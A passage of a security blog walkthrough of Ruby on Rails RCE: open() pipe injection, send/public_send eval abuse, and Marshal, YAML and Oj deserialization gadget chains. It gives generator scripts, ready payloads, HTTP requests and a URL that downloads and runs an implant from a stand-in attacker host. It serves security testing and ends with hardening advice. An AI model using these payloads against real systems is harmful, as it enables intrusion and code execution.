Assess your organization's ransomware readiness with the Offensive Security Guide. DOWNLOAD THE GUIDE ›

Ruby Vulnerabilities: Exploiting Dangerous Open, Send and Deserialization Operations

Ruby security tool tested on Rails apps represented by a red precious stone surrounded by code.

Share

On a recent assessment, I tested a Ruby on Rails application that was vulnerable to three of the most common types of Ruby-specific remote code execution (RCE) vulnerabilities. Brakeman will typically detect all of these, but I always like to include working exploit code to give clients a visceral example of the severity of a given problem. I was able to find some examples of exploiting the most straightforward issue (insecure use of the built-in open function) but had to piece together my own for the rest. Here are the results as a cheat sheet/walkthrough to save you the trouble of doing the same thing.

I also put together a very basic Ruby on Rails application that's vulnerable to all of the attacks discussed in this post, making it easier to try out different variations on the same type of attacks. There are instructions at the end of the post for setting up an instance.

RCE via the Kernel-level Open Function

This is the most straightforward Ruby-specific RCE vulnerability this blog post will discuss. If the built-in Ruby open function is called with user-supplied input in a Rails request handler, like this:

open(params[:path_or_url])

...then that request handler is vulnerable to arbitrary OS command execution, simply by the attacker setting the first character of the input to a pipe character (|). In the example, it can be exploited by accessing a URL such as:

http://127.0.0.1:3000/?url=|date%3E%3E/tmp/rce1.txt

…which will execute the proof-of-concept shell command date >> /tmp/rce1.txt, or:

http://127.0.0.1:3000/?url=|wget%20https://sliver-server.attacker.domain/sliver%3b%20chmod%20+x%20sliver%3b%20./sliver

…which simulates downloading and executing a Sliver implant.

In the remainder of this post, the example shell commands are variations on date >> /tmp/rce1.txt. This is one of my go-tos for exploit development because it's harmless and gives me a log of every time the exploit was successful, not just the most recent (like touch /tmp/rce1.txt would).

RCE via Insecure Send

Ruby objects have a pair of interesting shorthand functions named send and public_send that accept a method name as a string, and then a variable number of arguments that should be passed to the method identified by the first argument. Ruby developers can use them to make certain parts of their code more flexible. For example, the following code can be used to pass the same input to three different functions within a custom class:

class TextPrinter < Object
    def echo(*args)
       puts "Arguments: " + args.join(', ')
    end

    def echo_uppercase(*args)
       puts "Arguments: " + args.join(', ').upcase
    end

    def echo_lowercase(*args)</p>
       puts "Arguments: " + args.join(', ').downcase
    end
end

method_names = ["echo", "echo_uppercase", "echo_lowercase"]
tprinter = TextPrinter.new()
for mn in method_names do
    tprinter.send(mn, "a", "b", "c", "A", "B", "C")
end

Because the functions are identified by strings, not symbols, the method(s) to call can even be specified in user-supplied input. That level of flexibility can help decouple application components maintained by different teams (such as the front-end and back-end of a web application), but it can also very easily make the code vulnerable to arbitrary command execution via malicious input. Just about any language that supports reflection can do the same thing, but Ruby puts the feature front and center, encouraging widespread use.

The canonical insecure use of send is reading an arbitrary method name from user input and passing it a string value that is also read from user input. That behavior can be tested in the example vulnerable application with URLs like the following:

http://127.0.0.1:3000/?send_method_name=eval&send_argument=`date>>/tmp/rce5.txt`

During the assessment that inspired this post, a few code paths made use of Ruby's "splat" operator instead of passing a distinct method name and argument(s), similar to this code:

@send_article.send(*params[:send_value])

Ordinarily, the send_value URL parameter might simply be a method name, but the "splat" operator meant that if the parameter were an array of values, it would be unpacked and sent as a series of arguments to the send method. Ruby is extremely flexible at parsing different types of data from URL parameters, so that condition could be created with URLs such as the following:

http://127.0.0.1:3000/?send_value[]=eval&send_value[]=`date>>/tmp/rce6.txt`

Ruby objects also inherit a method named public_send that can only refer to public methods of the object, whereas send can refer to private methods. One would think this would be at least somewhat safer, but as Yuji Yamamoto illustrated in 2016, public_send is just as dangerous in practice as send.

Specifically, while the eval function is not public for Ruby objects, they expose a functionally equivalent method named instance_eval. Consequently, the two-parameter variation can be exploited in the example application with URLs similar to this:

http://127.0.0.1:3000/?public_send_method_name=instance_eval&public_send_argument=`date%3E%3E/tmp/rce7.txt`

...and the "splat" variation on the code can be exploited like this:

http://127.0.0.1:3000/?public_send_value[]=instance_eval&public_send_value[]=`date>>/tmp/rce8.txt`

RCE via Binary Deserialization

Way back in 2013, Hailey Somerville described an end-to-end binary deserialization gadget chain for Ruby on Rails. In 2018, Luke Jahnke described a newer gadget chain that worked for all releases of Ruby 2.x at the time the article was published. Ruby 2.7 and later were patched in a way that broke Jahnke's gadget chain, but William Bowling, AKA vakzz, modified it to work on all releases of Ruby 2 and 3 in 2021, and provided a Ruby script to generate a binary serialization of the gadget chain. Bowling's gadget chain was broken by changes introduced in RubyGems v3.2.25 (30 July 2021) and Ruby 3.1.1 (18 February 2022), but my test system and the client's server were still running vulnerable versions of both components even in March 2022.,

In my testing of Bowling's gadget chain, the basic payload worked as-is in a standalone Ruby script, but not when processed by a Ruby on Rails web application. For the web application, I had to wrap the payload inside of a hash table. To replicate that approach, you can use this modified version of Bowling's script to generate a base64-encoded payload: 

# Original code by William Bowling, AKA vakzz
# Mostly based on https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

require "base64"

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "date >> /tmp/rce9b.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump({payload: [Gem::SpecFetcher, Gem::Installer, r]})
puts Base64.strict_encode64(payload)

The corresponding Ruby code that is vulnerable to the a base64-encoded binary deserialization attack generally looks something like this:

Marshal.load(Base64.decode64(params[:base64binary]))

You can use the output to exploit the example vulnerable application running under Ruby installations that haven't been updated to include the patch. This request should write the current date/time to /tmp/rce9b.txt:

http://127.0.0.1:3000/?base64binary=BAh7BjoMcGF5bG9hZFsIYxVHZW06OlNwZWNGZXRjaGVyYxNHZW06Okluc3RhbGxlclU6FUdlbTo6UmVxdWlyZW1lbnRbBm86HEdlbTo6UGFja2FnZTo6VGFyUmVhZGVyBjoIQGlvbzoUTmV0OjpCdWZmZXJlZElPBzsIbzojR2VtOjpQYWNrYWdlOjpUYXJSZWFkZXI6OkVudHJ5BzoKQHJlYWRpADoMQGhlYWRlckkiCGFhYQY6BkVUOhJAZGVidWdfb3V0cHV0bzoWTmV0OjpXcml0ZUFkYXB0ZXIHOgxAc29ja2V0bzoUR2VtOjpSZXF1ZXN0U2V0BzoKQHNldHNvOw8HOxBtC0tlcm5lbDoPQG1ldGhvZF9pZDoLc3lzdGVtOg1AZ2l0X3NldEkiG2RhdGUgPj4gL3RtcC9yY2U5Yi50eHQGOw1UOxM6DHJlc29sdmU%3d

On 28 March, 2022, just as I was working on this post, Harsh Jaiswal, AKA rootxharsh, and Rahul Maini, AKA iamnoooob, published an updated gadget chain that works even with Ruby 3.1.1. I had to modify it a bit to work on Ruby 2.7.5, and the gadget chain needs to be modified if representing it in YAML or JSON form, because the step based on the ActiveRecord::Associations::Association class only works for binary deserialization specifically. We'll discuss making YAML and JSON versions further below.

Start by using this modified version of Jaiswal and Maini's script:

# original code by Harsh Jaiswal, AKA rootxharsh and Rahul Maini, AKA iamnoooob
# Mostly based on:
# https://github.com/httpvoid/writeups/blob/main/Ruby-deserialization-gadget-on-rails.md

require 'rails/all'
require 'base64'
# following three lines added for older versions of Ruby on Rails:
require 'rack/response'
require 'active_record/associations'
require 'active_record/associations/association'

require "yaml"
Gem::SpecFetcher
Gem::Installer

require 'sprockets'
class Gem::Package::TarReader
end

require 'bundler/inline'

gemfile do
  source 'https://rubygems.org'
  gem 'oj', require: true
end


d = Rack::Response.allocate
d.instance_variable_set(:@buffered, false)

d0=Rails::Initializable::Initializer.allocate
d0.instance_variable_set(:@context,Sprockets::Context.allocate)

d1=Gem::Security::Policy.allocate
# Can't use angle brackets in the command below or it will result in a dump format error(0xc3) ArgumentException
# Similar problem for + signs in some Ruby versions
# So the code below dynamically builds the string 'date >> /tmp/rce9a.txt'
d1.instance_variable_set(:@name,{ :filename => "/tmp/xyz.txt", :environment => d0  , :data => "<%= os_command = 'date '; os_command.concat(62.chr); os_command.concat(62.chr); os_command.concat('/tmp/rce9a.txt'); system(os_command); %>", :metadata => {}})

d2=Set.new([d1])

d.instance_variable_set(:@body, d2)
d.instance_variable_set(:@writer, Sprockets::ERBProcessor.allocate)

c=Logger.allocate
c.instance_variable_set(:@logdev, d)

e=Gem::Package::TarReader::Entry.allocate
e.instance_variable_set(:@read,2)
e.instance_variable_set(:@header,"bbbb")

b=Net::BufferedIO.allocate
b.instance_variable_set(:@io,e)
b.instance_variable_set(:@debug_output,c)

$a=Gem::Package::TarReader.allocate
$a.instance_variable_set(:@init_pos,Gem::SpecFetcher.allocate)
$a.instance_variable_set(:@io,b)

module ActiveRecord
    module Associations
        class Association
            def marshal_dump
                # Gem::Installer instance is also set here
                # because it autoloads Gem::Package which is
                # required in rest of the chain
                [Gem::Installer.allocate, $a] 
            end
        end
    end
end

# binary form
final = ActiveRecord::Associations::Association.allocate
puts Base64.strict_encode64(Marshal.dump(final))

It should output something like the following:

BAhVOixBY3RpdmVSZWNvcmQ6OkFzc29jaWF0aW9uczo6QXNzb2NpYXRpb25bB286E0dlbTo6SW5zdGFsbGVyAG86HEdlbTo6UGFja2FnZTo6VGFyUmVhZGVyBjoIQGlvbzoUTmV0OjpCdWZmZXJlZElPBzsIbzojR2VtOjpQYWNrYWdlOjpUYXJSZWFkZXI6OkVudHJ5BzoKQHJlYWRpBzoMQGhlYWRlckkiCWJiYmIGOgZFVDoSQGRlYnVnX291dHB1dG86C0xvZ2dlcgY6DEBsb2dkZXZvOhNSYWNrOjpSZXNwb25zZQg6DkBidWZmZXJlZEY6CkBib2R5bzoIU2V0BjoKQGhhc2h9Bm86GkdlbTo6U2VjdXJpdHk6OlBvbGljeQY6CkBuYW1lewk6DWZpbGVuYW1lSSIRL3RtcC94eXoudHh0BjsNVDoQZW52aXJvbm1lbnRvOiZSYWlsczo6SW5pdGlhbGl6YWJsZTo6SW5pdGlhbGl6ZXIGOg1AY29udGV4dG86F1Nwcm9ja2V0czo6Q29udGV4dAA6CWRhdGFJIkE8JT0gc3lzdGVtKCdkYXRlICcgKyA2Mi5jaHIgKyA2Mi5jaHIgKyAnIC90bXAvcmNlOWEudHh0JykgJT4GOw1UOg1tZXRhZGF0YXsAVEY6DEB3cml0ZXJvOhxTcHJvY2tldHM6OkVSQlByb2Nlc3NvcgA=

You can test it against the example vulnerable web application using URLs like this, which should write the current date/time to /tmp/rce9a.txt:

http://10.1.10.161:3000/?base64binary=BAhVOixBY3RpdmVSZWNvcmQ6OkFzc29jaWF0aW9uczo6QXNzb2NpYXRpb25bB286E0dlbTo6SW5zdGFsbGVyAG86HEdlbTo6UGFja2FnZTo6VGFyUmVhZGVyBjoIQGlvbzoUTmV0OjpCdWZmZXJlZElPBzsIbzojR2VtOjpQYWNrYWdlOjpUYXJSZWFkZXI6OkVudHJ5BzoKQHJlYWRpBzoMQGhlYWRlckkiCWJiYmIGOgZFVDoSQGRlYnVnX291dHB1dG86C0xvZ2dlcgY6DEBsb2dkZXZvOhNSYWNrOjpSZXNwb25zZQg6DkBidWZmZXJlZEY6CkBib2R5bzoIU2V0BjoKQGhhc2h9Bm86GkdlbTo6U2VjdXJpdHk6OlBvbGljeQY6CkBuYW1lewk6DWZpbGVuYW1lSSIRL3RtcC94eXoudHh0BjsNVDoQZW52aXJvbm1lbnRvOiZSYWlsczo6SW5pdGlhbGl6YWJsZTo6SW5pdGlhbGl6ZXIGOg1AY29udGV4dG86F1Nwcm9ja2V0czo6Q29udGV4dAA6CWRhdGFJIkE8JT0gc3lzdGVtKCdkYXRlICcgKyA2Mi5jaHIgKyA2Mi5jaHIgKyAnIC90bXAvcmNlOWEudHh0JykgJT4GOw1UOg1tZXRhZGF0YXsAVEY6DEB3cml0ZXJvOhxTcHJvY2tldHM6OkVSQlByb2Nlc3NvcgA%3d

Regardless of whether you use Bowling's chain, Maini and Jaiswal's chain, or another one, Ruby's binary serialization format can be incompatible across versions, so if you're trying to exploit binary deserialization and it isn't working as expected on the live target, make sure you're generating the payload with the same version of Ruby that the web app is running under.

RCE via YAML Deserialization

In 2019, Etienne Stalmans did a nice writeup of converting Luke Jahnke's original gadget chain to YAML format. In that case, manual tweaking of the YAML was required. However, Bowling's more recent gadget chain can be serialized in YAML format by simply calling the YAML.dump() method. Start by adding this line to the beginning of the script:

require "yaml"

Change the last two lines to this:

payload = YAML.dump({payload: [Gem::SpecFetcher, Gem::Installer, r]})
puts payload

The script will create the following output:

:payload:
- !ruby/class 'Gem::SpecFetcher'
- !ruby/class 'Gem::Installer'
- !ruby/object:Gem::Requirement
  requirements: !ruby/object:Gem::Package::TarReader
    io: !ruby/object:Net::BufferedIO
      io: !ruby/object:Gem::Package::TarReader::Entry
        read: 0
        header: aaa
      debug_output: !ruby/object:Net::WriteAdapter
        socket: !ruby/object:Gem::RequestSet
          sets: !ruby/object:Net::WriteAdapter
            socket: !ruby/module 'Kernel'
            method_id: :system
          git_set: date >> /tmp/rce9b.txt
        method_id: :resolve

Because YAML is reasonably stable and human-readable, you can just edit this example as a template instead of needing to generate it every time with a script. The payload would be kind of messy to pass as a URL parameter to the vulnerable application, so I suggest a POST request, like this:

POST / HTTP/1.1
Host: 127.0.0.1:3000
...omitted for brevity...
Content-Type: application/json
Content-Length: 596

{"yaml":":payload:\n- !ruby/class 'Gem::SpecFetcher'\n- !ruby/class 'Gem::Installer'\n- !ruby/object:Gem::Requirement\n  requirements: !ruby/object:Gem::Package::TarReader\n    io: !ruby/object:Net::BufferedIO\n      io: !ruby/object:Gem::Package::TarReader::Entry\n        read: 0\n        header: aaa\n      debug_output: !ruby/object:Net::WriteAdapter\n        socket: !ruby/object:Gem::RequestSet\n          sets: !ruby/object:Net::WriteAdapter\n            socket: !ruby/module 'Kernel'\n            method_id: :system\n          git_set: date >> /tmp/rce2.txt\n        method_id: :resolve"}

As discussed above, the binary version of Bowling's gadget chain was broken by changes introduced in RubyGems v3.2.25 and Ruby 3.1.1, but you might assume (as I did) that one can just YAML-serialize Jaiswal and Maini's newer gadget chain and be ready to go against newer Ruby on Rails applications. Unfortunately, the logic in the ActiveRecord::Associations::Association class only works as a deserialization gadget when deserializing from binary data via the marshal_load function, because that's the only place that the .each method is called against the second element of the data being deserialized.

However, as luck would have it, the RubyGems patch to the Gem::Requirement class only fixes the binary deserialization variant specifically. Its YAML parsing is still vulnerable as of this writing. So to make Maini and Jaiswal's chain work in YAML, one can simply swap out the ActiveRecord::Associations::Association object for a Gem::Requirement like Bowling's chain used.

There's an additional quirk I discovered when looking into YAML and JSON serialization in that if the gadget chain depends on the each method being called (as is the case with the Gem::Package::TarReader gadget), YAML- or JSON-serialized payloads may not trigger if they're just stored as a value, but are triggered if they're stored as the key in a hashtable. In the case of this gadget chain, this seems to be because using the Gem::Requirement object as a hashtable key results in this chain of events:

  1. The Ruby interpreter calls the hash method on the Requirement object.
  2. The Requirement object has a customized hash method that calls the map method of its requirements variable. Internally, Ruby's map method seems to call each.
  3. In this gadget chain, the requirements variable has been set to an instance of the Gem::Package::TarReader class, and that class has the custom each method that is the entire reason the TarReader is included in the gadget chain. When it's invoked by the hashing process, the rest of the chain is triggered.

For this one, using a combination of script-assisted generation and manual crafting, a template based on that principle looks like this:

---
:payload:
- !ruby/object:Gem::SpecFetcher {}
- !ruby/object:Gem::Installer {}
- ? !ruby/object:Gem::Requirement
    requirements: !ruby/object:Gem::Package::TarReader
      io: !ruby/object:Net::BufferedIO
        io: !ruby/object:Gem::Package::TarReader::Entry
          read: 2
          header: bbbb
        debug_output: !ruby/object:Logger
          logdev: !ruby/object:Rack::Response
            buffered: false
            body: !ruby/object:Set
              hash:
                ? !ruby/object:Gem::Security::Policy
                  name:
                    :filename: "/tmp/xyz.txt"
                    :environment: !ruby/object:Rails::Initializable::Initializer
                      context: !ruby/object:Sprockets::Context {}
                    :data: "<%= os_command = 'date '; os_command.concat(62.chr); os_command.concat(62.chr); os_command.concat('/tmp/rce9a.txt'); system(os_command); %>"
                    :metadata: {}
                : true
            writer: !ruby/object:Sprockets::ERBProcessor {}
  : dummy_value

Embedded into a POST request to the example web application, the YAML code looks like this:

POST / HTTP/1.1
…omitted for brevity…
Content-Type: application/json
Content-Length: 1095

{"yaml": 
"---\n:payload:\n- !ruby/object:Gem::SpecFetcher {}\n- !ruby/object:Gem::Installer {}\n- ? !ruby/object:Gem::Requirement\n    requirements: !ruby/object:Gem::Package::TarReader\n      io: !ruby/object:Net::BufferedIO\n        io: !ruby/object:Gem::Package::TarReader::Entry\n          read: 2\n          header: bbbb\n        debug_output: !ruby/object:Logger\n          logdev: !ruby/object:Rack::Response\n            buffered: false\n            body: !ruby/object:Set\n              hash:\n                ? !ruby/object:Gem::Security::Policy\n                  name:\n                    :filename: \"/tmp/xyz.txt\"\n                    :environment: !ruby/object:Rails::Initializable::Initializer\n                      context: !ruby/object:Sprockets::Context {}\n                    :data: \"<%= os_command = 'date '; os_command.concat(62.chr); os_command.concat(62.chr); os_command.concat('/tmp/rce9a.txt'); system(os_command); %>\"\n                    :metadata: {}\n                : true\n            writer: !ruby/object:Sprockets::ERBProcessor {}\n  : dummy_value"
}

This YAML payload worked for me with no changes under both Ruby 2.7.5-p203/Rails 5.2.5 and Ruby 3.1.1p18/Rails 7.0.2.3.

RCE via Oj JSON Deserialization

During the assessment that inspired this post, the client's application used JSON object serialization handled by the Oj gem. Unlike the built-in JSON functionality of Ruby, OJ supports serializing and deserializing arbitrary complex objects, and in its default configuration is therefore vulnerable to a JSON representation of Bowling's gadget chain. So, when you see code like the following, there’s a good chance that it’s vulnerable to this type of attack:

Oj.load(params[:json])

Similar to the YAML payload in the previous section, the basic Bowling payload can be initially generated by adding this snippet to the beginning of the script:

require 'bundler/inline'

gemfile do
  source 'https://rubygems.org'
  gem 'oj', require: true
end

...and then changing the last two lines of the script to this:

payload = Oj.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload

This should output the following JSON, which is specific to the Oj gem's serialization format:

[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":system"},"git_set":"date >> /tmp/rce10a.txt"},"method_id":":resolve"}}}}]

...or, pretty-printed:

[
  {
    "^c": "Gem::SpecFetcher"
  },
  {
    "^c": "Gem::Installer"
  },
  {
    "^o": "Gem::Requirement",
    "requirements": {
      "^o": "Gem::Package::TarReader",
      "io": {
        "^o": "Net::BufferedIO",
        "io": {
          "^o": "Gem::Package::TarReader::Entry",
          "read": 0,
          "header": "aaa"
        },
        "debug_output": {
          "^o": "Net::WriteAdapter",
          "socket": {
            "^o": "Gem::RequestSet",
            "sets": {
              "^o": "Net::WriteAdapter",
              "socket": {
                "^c": "Kernel"
              },
              "method_id": ":system"
            },
            "git_set": "date >> /tmp/rce10a.txt"
          },
          "method_id": ":resolve"
        }
      }
    }
  }
]

...however, as discussed in the YAML section, above, for the payload to execute, I had to use the payload as the key in a hashtable. I did not find a way to generate the payload and embed it as the key in a single script, so I modified the script to generate a different hashtable with one of the other existing objects as a key to understand how Oj would represent it:

@inner_payload = {}
@inner_payload[i] = "dummy_value"
payload = Oj.dump(@inner_payload)
puts payload

The output for this intermediate example was the following:

{"^#1":[{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"dummy_value"]}

In this case, {"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"} was the representation of the i object. Replacing that chunk of JSON with the original payload results in something like this:

{
  "^#1": [
    [
      {
        "^c": "Gem::SpecFetcher"
      },
      {
        "^c": "Gem::Installer"
      },
      {
        "^o": "Gem::Requirement",
        "requirements": {
          "^o": "Gem::Package::TarReader",
          "io": {
            "^o": "Net::BufferedIO",
            "io": {
              "^o": "Gem::Package::TarReader::Entry",
              "read": 0,
              "header": "aaa"
            },
            "debug_output": {
              "^o": "Net::WriteAdapter",
              "socket": {
                "^o": "Gem::RequestSet",
                "sets": {
                  "^o": "Net::WriteAdapter",
                  "socket": {
                    "^c": "Kernel"
                  },
                  "method_id": ":system"
                },
                "git_set": "date >> /tmp/rce10a.txt"
              },
              "method_id": ":resolve"
            }
          }
        }
      }
    ],
    "dummy_value"
  ]
}

...or, in more compact form:

{"^#1":[[{"^c":"Gem::SpecFetcher"},{"^c":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":0,"header":"aaa"},"debug_output":{"^o":"Net::WriteAdapter","socket":{"^o":"Gem::RequestSet","sets":{"^o":"Net::WriteAdapter","socket":{"^c":"Kernel"},"method_id":":spawn"},"git_set":"date >> /tmp/rce10a.txt"},"method_id":":resolve"}}}}],"dummy_value"]}

The example vulnerable Ruby on Rails app will accept the payload as either a GET request like this:

http://127.0.0.1:3000/?oj={%22^%231%22%3a[[{%22^c%22%3a%22Gem%3a%3aSpecFetcher%22}%2c{%22^c%22%3a%22Gem%3a%3aInstaller%22}%2c{%22^o%22%3a%22Gem%3a%3aRequirement%22%2c%22requirements%22%3a{%22^o%22%3a%22Gem%3a%3aPackage%3a%3aTarReader%22%2c%22io%22%3a{%22^o%22%3a%22Net%3a%3aBufferedIO%22%2c%22io%22%3a{%22^o%22%3a%22Gem%3a%3aPackage%3a%3aTarReader%3a%3aEntry%22%2c%22read%22%3a0%2c%22header%22%3a%22aaa%22}%2c%22debug_output%22%3a{%22^o%22%3a%22Net%3a%3aWriteAdapter%22%2c%22socket%22%3a{%22^o%22%3a%22Gem%3a%3aRequestSet%22%2c%22sets%22%3a{%22^o%22%3a%22Net%3a%3aWriteAdapter%22%2c%22socket%22%3a{%22^c%22%3a%22Kernel%22}%2c%22method_id%22%3a%22%3aspawn%22}%2c%22git_set%22%3a%22date%20%3E%3E%20%2ftmp%2frce10a.txt%22}%2c%22method_id%22%3a%22%3aresolve%22}}}}]%2c%22dummy_value%22]}

...or a POST request, like this:

POST / HTTP/1.1
Host: 127.0.0.1:3000
...omitted for brevity...
Content-Type: application/json
Content-Length: 557

{"oj":"{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^c\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":0,\"header\":\"aaa\"},\"debug_output\":{\"^o\":\"Net::WriteAdapter\",\"socket\":{\"^o\":\"Gem::RequestSet\",\"sets\":{\"^o\":\"Net::WriteAdapter\",\"socket\":{\"^c\":\"Kernel\"},\"method_id\":\":spawn\"},\"git_set\":\"date >> /tmp/rce10a.txt\"},\"method_id\":\":resolve\"}}}}],\"dummy_value\"]}"}

The modified version of Maini and Jaiswal's gadget chain discussed above in the YAML section works fine in Oj JSON format as well, under both Ruby 2.7.5-p203/Rails 5.2.5 and Ruby 3.1.1p18/Rails 7.0.2.3. Pretty-printed, it looks like this:

{
  "^#1": [
    [
      {
        "^c": "Gem::SpecFetcher"
      },
      {
        "^o": "Gem::Installer"
      },
      {
        "^o": "Gem::Requirement",
        "requirements": {
          "^o": "Gem::Package::TarReader",
          "io": {
            "^o": "Net::BufferedIO",
            "io": {
              "^o": "Gem::Package::TarReader::Entry",
              "read": 2,
              "header": "bbbb"
            },
            "debug_output": {
              "^o": "Logger",
              "logdev": {
                "^o": "Rack::Response",
                "buffered": false,
                "body": {
                  "^o": "Set",
                  "hash": {
                    "^#2": [
                      {
                        "^o": "Gem::Security::Policy",
                        "name": {
                          ":filename": "/tmp/xyz.txt",
                          ":environment": {
                            "^o": "Rails::Initializable::Initializer",
                            "context": {
                              "^o": "Sprockets::Context"
                            }
                          },
                          ":data": "<%= system('touch /tmp/rce10b.txt') %>",
                          ":metadata": {}
                        }
                      },
                      true
                    ]
                  }
                },
                "writer": {
                  "^o": "Sprockets::ERBProcessor"
                }
              }
            }
          }
        }
      }
    ],
    "dummy_value"
  ]
}

In compact form:

{"^#1":[[{"^c":"Gem::SpecFetcher"},{"^o":"Gem::Installer"},{"^o":"Gem::Requirement","requirements":{"^o":"Gem::Package::TarReader","io":{"^o":"Net::BufferedIO","io":{"^o":"Gem::Package::TarReader::Entry","read":2,"header":"bbbb"},"debug_output":{"^o":"Logger","logdev":{"^o":"Rack::Response","buffered":false,"body":{"^o":"Set","hash":{"^#2":[{"^o":"Gem::Security::Policy","name":{":filename":"/tmp/xyz.txt",":environment":{"^o":"Rails::Initializable::Initializer","context":{"^o":"Sprockets::Context"}},":data":"<%= system('touch /tmp/rce10b.txt') %>",":metadata":{}}},true]}},"writer":{"^o":"Sprockets::ERBProcessor"}}}}}}],"dummy_value"]}

It's easiest to send as a POST request to the example application, like this:

POST / HTTP/1.1
Host: 127.0.0.1:3000
...omitted for brevity...
Content-Type: application/json
Content-Length: 748

{"oj":"{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^o\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":2,\"header\":\"bbbb\"},\"debug_output\":{\"^o\":\"Logger\",\"logdev\":{\"^o\":\"Rack::Response\",\"buffered\":false,\"body\":{\"^o\":\"Set\",\"hash\":{\"^#2\":[{\"^o\":\"Gem::Security::Policy\",\"name\":{\":filename\":\"/tmp/xyz.txt\",\":environment\":{\"^o\":\"Rails::Initializable::Initializer\",\"context\":{\"^o\":\"Sprockets::Context\"}},\":data\":\"<%= system('touch /tmp/rce10b.txt') %>\",\":metadata\":{}}},true]}},\"writer\":{\"^o\":\"Sprockets::ERBProcessor\"}}}}}}],\"dummy_value\"]}"}


Oj and Global Configuration

There's an interesting wrinkle with Oj: it can be configured to support more limited JSON serialization formats that do not allow for complex objects to be represented sufficiently to allow RCE via this gadget chain. As of this writing, Oj supported the following modes: compat, custom, json, null, object, rails, strict, and wab; only the object mode (the default) was vulnerable. In the source code for Oj at the time of this writing, the strict and null modes were equivalent, and the compat and rails modes were also equivalent. The example web application allows an oj_mode variable to be passed that sets the Oj mode explicitly, i.e. by adding &oj_mode=compat, &oj_mode=custom, &oj_mode=json, &oj_mode=null, &oj_mode=object, &oj_mode=rails, &oj_mode=strict, or &oj_mode=wab to the URL.

Oj options can be included in each call to load/dump, like this:

Oj.load(params[:oj], options = {:mode => :object})

...but the library also exposes a global default option configuration that is shared by all Oj code running under the same Ruby or Rails process, referred to like this:

Oj.default_options =  { :mode => :object }

Most developers seem to call Oj's load and dump without specifying an explicit options hashtable, which causes Oj to use that global default value.

During the assessment that inspired this blog post, I had replicated the Oj deserialization calls in a local web application to develop exploit code. My payload worked perfectly locally but was ineffective against the real-web application. I searched through the entire set of source code for something that might be changing the Oj configuration and found nothing. I verified that the versions for Gems I was using were all identical to the real server. The customer indicated that they were unaware of any code they'd written that would reconfigure Oj. I had already gotten a shell on the live server by exploiting one of the send-related vulnerabilities, so I used that to run a grep command across the entire directory structure and came across something like this:

/home/rails/apps/people_finder/vendor/bundle/ruby/2.7.0/gems/rabl-0.14.5/lib/rabl/configuration.rb:22:  Oj.default_options =  { :mode => :compat, :time_format => :ruby, :use_to_json => true }

The code I was trying to exploit didn't even use the rabl Gem, but could merely having it loaded cause that code to be executed? I added the following line to the Gemfile for my local web app to find out:

gem 'rabl', '0.14.5'

After restarting my local Rails process, my code was no longer vulnerable. I commented out the rabl entry in my Gemfile, restarted Rails again, and the code was vulnerable once more. The customer's application would have had a serious code execution vulnerability, but it was being inadvertently protected by their use of an unrelated Gem in another part of the same web application. I was not surprised to find that this behavior was already the subject of an open issue on GitHub for rabl. If the rabl developers released an update that stopped changing that global default, any web application that is currently inadvertently protected from deserialization attacks would become vulnerable. Even discounting the security aspect, as a former systems engineer, I'm blown away that the authors of a third-party Ruby Gem would write code that modifies the global configuration of a completely separate third-party Gem but also that the Oj gem even exposes its configuration this way. I have to imagine that it's caused all sorts of mysterious issues in Ruby and Rails applications.

If you maintain code that uses Oj, I strongly recommend finding all uses of the load() or dump() functions and explicitly passing your own options hash to them as a defensive measure, using one of the modes other than object.

General Notes on Executing OS Commands via Ruby Code

If you can execute arbitrary Ruby code, as opposed to injecting OS commands directly (all of the examples in this post except the first), there are a few different built-in options:

  • Call the spawn function. I like this one because it doesn't wait for the shell process to exit, so it may have a less visible impact on the vulnerable application.
  • Call the system function. This is fine too, although it may cause the web application to lock up until the shell process exits.
  • Wrap the OS command in backticks. This is nearly equivalent to the system function. It works fine if your injected code is being run via eval or instance_eval, but not if you need to call a function explicitly and pass it the command to execute as a string.
  • Call the exec function. This will work, but I avoid it unless there's no other option because it will replace the existing Ruby or Rails process with the shell command process. i.e., if a vulnerable web application is not configured to automatically restart, injecting an exec call will take down the service.

The first three approaches are mixed into the examples in this post.

Creating the Vulnerable Application

